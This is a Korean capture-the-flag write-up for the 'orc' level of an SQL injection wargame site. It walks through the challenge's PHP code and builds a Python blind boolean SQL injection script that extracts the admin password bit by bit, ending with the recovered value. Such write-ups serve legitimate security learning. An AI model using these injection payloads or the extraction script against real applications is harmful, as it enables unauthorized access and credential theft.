없다
문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.
get으로 요청된 pw값이 prob
, _
, .
, ()
이 들어가면 프로그램이 죽어버린다. 즉 이 부분은 필터링 부분이다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
그 다음은 query가 나오는데 sql명령문이다.
명령문은 id를 찾는데 prob_orc라는 테이블에 있어야 하고, id가 admin이고, pw가 get으로 입력받은 pw이어야 한다.
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
그리고 id가 있으면 hello admin이라고 출력이 된다.
if($result['id']) echo "<h2>Hello admin</h2>";
그런 뒤에 $_get[pw]
에 addslashes
를 한 뒤 다시 $_get[pw]
에 넣는다. addslashes()
는 함수 안에 '
, "
, \
, NULL바이트
가 포함되어 있으면 해당 문자 앞에 \
를 넣어서 해당 문자에 의해 다른 의미가 생기지 않게 오류를 없앤다.
$_GET[pw] = addslashes($_GET[pw]);
그리고 똑같은 query문에 넣은 뒤에 sql 돌린다.
그리고 나서 pw값이 있고, 결과에서 나온 pw값과 처음에 넣었던 pw 값이 같다면 문제가 풀리게 된다.
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
pw
의 결과값과 처음에 넣은 값이 같아야 한다는 건 실제 admin
의 pw
값을 넣어야 한다는 뜻이다.
이 부분을 보면 query값이 잘 작동해서 id
를 찾으면 hello admin을 나오는데 이것으로 true, false를 구분해서 pw
를 찾아야 한다. 즉 brute foce를 이용한 blind sql을 사용하면 된다.
if($result['id']) echo "<h2>Hello admin</h2>";
익스플로잇을 짤 때 첫 부분은 필요한 값들을 설정한다.
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php/?pw='
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'}
주소가 있어야 익스플로잇을 보낼 수 있으니까 url이 있는 거고, header의 쿠키는 문제의 코드를 보면 login_chk
를 하기 때문에 자신의 쿠키값을 넣어서 보내야 한다. 쿠키값 확인은 개발자도구의 application에서 쿠키값을 확인할 수 있다.
먼저 pw를 확인할 때는 pw의 길이부터 알아야 한다. 그렇기 때문에 길이를 확인하는 코드를 짜준다.
password_length = 0
while True:
password_length += 1
query = f"{url}' or id='admin' and length(pw)={password_length}-- -"
response=requests.get(query, headers=header)
if "<h2>" in response.text:
break
print(f"password_lengh : {password_length}")
password_length
값을 하나씩 늘려가면서 true인지 false인지 확인한다. 만약 true이면 if($result['id']) echo "<h2>Hello admin</h2>";
이게 실행이 되는데 admin
은 false일 때도 web 코드상에 있기 때문에 <h2>
의 유무로 true, false를 확인 한다.
pw 길이 확인 때 실행될 sql query
select id from prob_orc where id='admin' and pw='' or id='admin' and length(pw)=1-- -'
pw의 문자가 어떤 문자로 이루어져 있는지 모르기 때문에 bit열로 변환해서 추출하기 전에 길이를 알아야 한다.
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"{url}' or id='admin' and length(bin(ord(substr(pw, {i}, 1))))={bit_length}-- -"
response=requests.get(query, headers=header)
if "<h2>" in response.text:
break
print(f"bit_number : {i}, length : {bit_length}")
각 문자열 bit 길이 확인할 때 실행될 sql query
select id from prob_orc where id='admin' and pw='' or id='admin' and length(bin(ord(substr(pw, 1, 1))))=1-- -'
pw의 bit열의 길이를 통해 bit열을 추출한다.
bits = ""
for j in range(1, bit_length + 1):
query = f"{url}' or id='admin' and substr(bin(ord(substr(pw, {i}, 1))), {j}, 1)= '1'-- -"
response=requests.get(query, headers=header)
if "<h2>" in response.text:
bits += "1"
else:
bits += "0"
print(f"bit_number : {i}, bit : {bits}")
pw의 bit열 추출할 때 실행될 sql query
select id from prob_orc where id='admin' and pw='' or id='admin' and substr(bin(ord(substr(pw, {i}, 1))), {j}, 1)= '1'-- -'
bit열을 가지고 문자열로 변환하면 원래 pw의 값이 나온다.
password = ""
...
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
위 과정을 합치면 익스플로잇이 이렇게 나온다.
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php/?pw='
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'}
password_length = 0
while True:
password_length += 1
query = f"{url}' or id='admin' and length(pw)={password_length}-- -"
response=requests.get(query, headers=header)
if "<h2>" in response.text:
break
print(f"password_lengh : {password_length}")
password = ""
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"{url}' or id='admin' and length(bin(ord(substr(pw, {i}, 1))))={bit_length}-- -"
response=requests.get(query, headers=header)
if "<h2>" in response.text:
break
print(f"bit_number : {i}, length : {bit_length}")
bits = ""
for j in range(1, bit_length + 1):
query = f"{url}' or id='admin' and substr(bin(ord(substr(pw, {i}, 1))), {j}, 1)= '1'-- -"
response=requests.get(query, headers=header)
if "<h2>" in response.text:
bits += "1"
else:
bits += "0"
print(f"bit_number : {i}, bit : {bits}")
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
코드를 실행하면 admin의 진짜 pw값인095a9852
를 얻을 수 있다.
그리고 url 뒤에 /?pw=095a9852
를 넣으면 문제가 풀린다.